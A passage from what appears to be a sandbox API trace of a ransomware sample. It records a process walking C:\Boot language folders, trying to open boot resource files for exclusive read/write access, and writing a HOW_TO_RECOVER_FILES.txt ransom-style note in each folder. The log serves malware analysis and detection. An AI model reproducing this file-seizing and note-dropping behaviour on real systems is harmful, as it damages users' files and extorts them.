ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0072.400] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0072.400] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0072.400] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.400] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x0) returned 0xd [0072.400] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.400] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.401] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0072.401] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0072.401] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0072.401] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.401] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0072.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0072.401] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x31fb1d8 | out: lpFileInformation=0x31fb1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960)) returned 1 [0072.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0072.402] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0072.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0072.402] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0072.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0072.404] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0072.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0072.404] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x31fb888 | out: lpFileInformation=0x31fb888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0)) returned 1 [0072.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0072.404] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0072.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0072.404] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0072.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0072.406] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0072.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0072.406] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\zh-cn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0072.408] GetFileType (hFile=0x768) returned 0x1 [0072.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0072.409] GetFileType (hFile=0x768) returned 0x1 [0072.409] WriteFile (in: hFile=0x768, lpBuffer=0x31fe288*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x31fe288*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0072.410] CloseHandle (hObject=0x768) returned 1 [0072.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.410] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK", lpFilePart=0x0) returned 0xd [0072.410] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.411] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.411] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0072.411] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0072.411] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0072.411] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.411] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK", lpFilePart=0x0) returned 0xd [0072.412] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0072.412] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.412] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0072.412] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0072.412] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0072.412] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0072.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.413] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0072.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0072.413] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x320cee0 | out: lpFileInformation=0x320cee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958)) returned 1 [0072.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0072.413] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0072.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0072.413] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0072.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0072.416] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0072.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0072.416] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x320d590 | out: lpFileInformation=0x320d590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558)) returned 1 [0072.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0072.416] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0072.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0072.416] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0072.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0072.418] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0072.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0072.418] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\zh-hk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0072.420] GetFileType (hFile=0x768) returned 0x1 [0072.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0072.420] GetFileType (hFile=0x768) returned 0x1 [0072.421] WriteFile (in: hFile=0x768, lpBuffer=0x320ff90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x320ff90*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0072.422] CloseHandle (hObject=0x768) returned 1 [0072.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.422] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x0) returned 0xd [0072.422] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0072.422] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0072.423] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0072.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.423] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x0) returned 0xd [0072.423] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.423] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.424] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, 